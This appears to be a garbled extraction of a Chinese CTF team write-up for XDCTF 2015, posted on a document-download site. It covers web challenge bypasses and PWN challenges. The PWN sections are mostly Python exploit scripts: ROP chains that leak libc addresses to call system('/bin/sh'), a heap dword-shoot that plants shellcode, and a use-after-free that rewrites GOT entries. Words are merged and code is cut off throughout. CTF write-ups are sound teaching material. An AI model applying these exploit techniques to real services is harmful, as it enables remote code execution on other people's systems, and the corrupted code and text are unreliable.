说明分析案例bxbwriteup_第1页
说明分析案例bxbwriteup_第2页
说明分析案例bxbwriteup_第3页
说明分析案例bxbwriteup_第4页
说明分析案例bxbwriteup_第5页
已阅读5页,还剩22页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

BXB_TEST白细胞团BXB白细胞团队 一 二 三 PWN PWN PWN PWN PWN 四 五 一、WEB1读出代码后看到要,出来$test=$_GET['test'];$test=md5($test);if($test=='0'){print"flag{}";}elseprint"youarefalied!print$test;echo"tips:知道原理了,请不在当先服务器环境下测试,在本地测试好,在此测试poc即可,否则自负";?>拿到flag要绕过$test==’0’的条件,在上搜了一下,发 0在HTML里发现注释掉的/examples ,发现题目要求管理员登陆,团队小伙伴发现 重新/examples拿到fuzzflag直接了http://9bd5688225d90ff2a06e2ee1 http: dz版本,7.2flag%3右键源码发现端倪,php动态生成在中发现IDfuzzingpayloadburp-intruder使用明文登录,获取到二、Web2根据题目提示得到 rip-git.pl扒拉下rmgit,reset分分钟回滚logrmid:gitresethrad$idIndex.phpweb2看到提示,老老实实审计代码,发现登录部分代码是phithon大牛写的重点这些文件发现在git\xdsec_app\front_app\controllers\Auth.php文件有一个重置的方Url构造得不能进xdsec_app\front_app\controllers\Auth.php91$verify=变量$verifyif(empty($_GET[""])||所以要构造verify得值为null还不为空,想到了手工用到的构造发现重置的页面,查看页面源代码&v8fiddle2改为:POST flagFlag2为:XDCTF-三、PWNPWN100搜索文件字符串发现是ms12-027,msf中搜索到相关rb,然后就可以知道s code位置了,提取s code分析发现是个写入flag的:xdctf{d4_5h1_fu_d41_w0_f31}PWN#-*-coding:utf-8#-*-coding:utf-8-fromzioimport*importstructimportio=zio(("39",2333),timeout=1000,print_write=None)#b0x080484BD#a=rop='A'*(0x6C+rop+= #rop+= #poppoppoprop+= #rop+= #bufferrop+= #rop+= #rop+= #poppoppoprop+= #rop+= #bufferrop+= #rop+= #pop_ebprop+= #bufferrop+= #leaverop+= #ebpread_offset=0x000D95E0system_offset=0x0003E360bin_sh_offset= etoXDCTF2015~!')content=io.read(16)content=content[5:9]read_addr=system_addr=read_addr-read_offset+system_offsetbin_sh_addr=read_addr-read_offset+bin_sh_offsetprint"[+]readaddress%s"%hex(read_addr)print"[+]systemaddress%s"%hex(system_addr)print"[+]/bin/shaddress%s"%rop2=rop2=struct.pack('I',0x0804A400)rop2+=struct.pack('I',system_addr)rop2+=struct.pack('I',system_addr)rop2+=struct.pack('I',bin_sh_addr)PWN新建girl的时候可以新建类型为0的,这样分配长度只有100,修改girl的时候可以选择girl类型,这样可以编辑的girl内容,从而将girl链表的next/prev指针出来或者覆盖,得到girl起始的堆地址后面在delete的时候可以dwordshoot了没开NX直接将s 写到第一个girl,并通过shoot修改exit_got指针直接起s #-*-coding:utf-8-fromzioimport*importstructio=scode=)#新建5个girlforiinrange(0,5):#leakio.write('A'*116+#a=raw_input()content=io.read_until('Choice:')index=content.find('PPPP')heap_addr=content[index+8:index+heap_addr=struct.unpack('I',heap_addr)[0]print"[+]heapaddress%s"%hex(heap_addr)io.write('A'*116+struct.pack('I',0x0804B064)+struct.pack('I',0x0804B060))content=io.read_until('Choice:')#dwordshootio.write('\x90'*20+scode+'\x90'PWNflag了:#-*-coding:utf-8-fromzioimportio=io.write('PK\x01\x02'+'A'*24+'\xFE\xFF'+'B'*16+'flag.txt'+'C'*10)PWN在建立essay内容的时候可以建立104长度,这时候再读入我发现事实上一个字节都读入不了,所以设置+4位置的len为0,这样在resit函数时候就可以将这块堆卸载,而且不将相关指针设为NULL,造成UAF,下一次再take_exam时候分配的堆地址与第一次我们建立的exam结构体+16处的指针是相同的地址,这样通过cheat功能可以直接修改第二free_got为put_plt,再次通过cheat修改科目二的+16处为unlink_got这样就可以函数指针,通过上面方法,free_got再次修改为system_address,然后布置好+16处为/bin/sh,并在take_exam中建立essay时候输入大于104的长度这样就可以触发free(s->essay_str),实上这时候直接起s #-*-coding:utf-8-fromzioimport*importstructimportio=#新建的essay长度和结构体长度相io.write('1*104 #fread要以回车#删除新建的节点len0,不将指针清空,造成uaf#此时math->essay_str指向的就是englishio.write('A*8 #fread要以回车结#调用cheat函数来修改english的内fake_heap=struct.pack('I',2)fake_heap+=struct.pack('I',8)fake_heap+=struct.pack('I',8)fake_heapx00* #为了使结构体寻址对齐的填fake_heap+=struct.pack('Q',0x0000000000602318) #essay_str地址,这里为free_got,修改free_got地 #show_function,这里64位,不太好利fake_heapx00*0x68 #凑齐大io.read_until('#通过函数修改essay_str中,即free_got指针为puts指io.read_until('io.write(struct.pack('Q',0x0000000000400970)+'\n')#成功修改指针为puts就可 函数地址了 read地fake_heap=struct.pack('I',0)fake_heap+=struct.pack('I',0)fake_heap+=struct.pack('I',8)fake_heapx00* #为了使结构体寻址对齐的填 #essay_str地址,这里为free_got,修改为地 #show_function,这里64位,不太好利fake_heapx00*0x68 #凑齐大io.read_until('#如果直接调用test_examfree后会将ptr+23写入空指针,导致任意写入失 read_got指针,构造一个错误的freecontent=#偏移,奇怪了,这个地 read什么都没有,试了很久换成unlink搞unlink_offset=0x00000000000ED070system_offset=0x0000000000046640read_offset=0x00000000000EC390system_offset=0x0000000000046640bin_sh_offset=0x000000000017D87B#其实这个地址是unlink函数的地read_leak=content[content.find('ota\n')+2:content.find('ota\n')+8]+'\x00'*2read_addr=struct.unpack('Q',read_leak)[0]system_addr=read_addr-unlink_offset+system_offsetbin_sh_addr=read_addr-unlink_offset+bin_sh_offsetprint"[+]readaddress%s"%hex(read_addr)print"[+]systemaddress%s"%hex(system_addr)print"[+]/bin/shaddress%s"%#调用cheat函数来重resit破坏的ptr232位置的指针fake_heap=struct.pack('I',2)fake_heap+=struct.pack('I',0)fake_heap+=struct.pack('I',8)fake_heapx00* #为了使结构体寻址对齐的填fake_heap+=struct.pack('Q',0x0000000000602318) #essay_str地址,这里为free_got,修改free_got地 #show_function,这里64位,不太好利fake_heapx00*0x68 #凑齐大io.read_until('#这儿有个问题,free后把ptr+232这里清空了,而根本就没有free吊内存,所以无法再通过它写#修改free_got为system地io.r

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论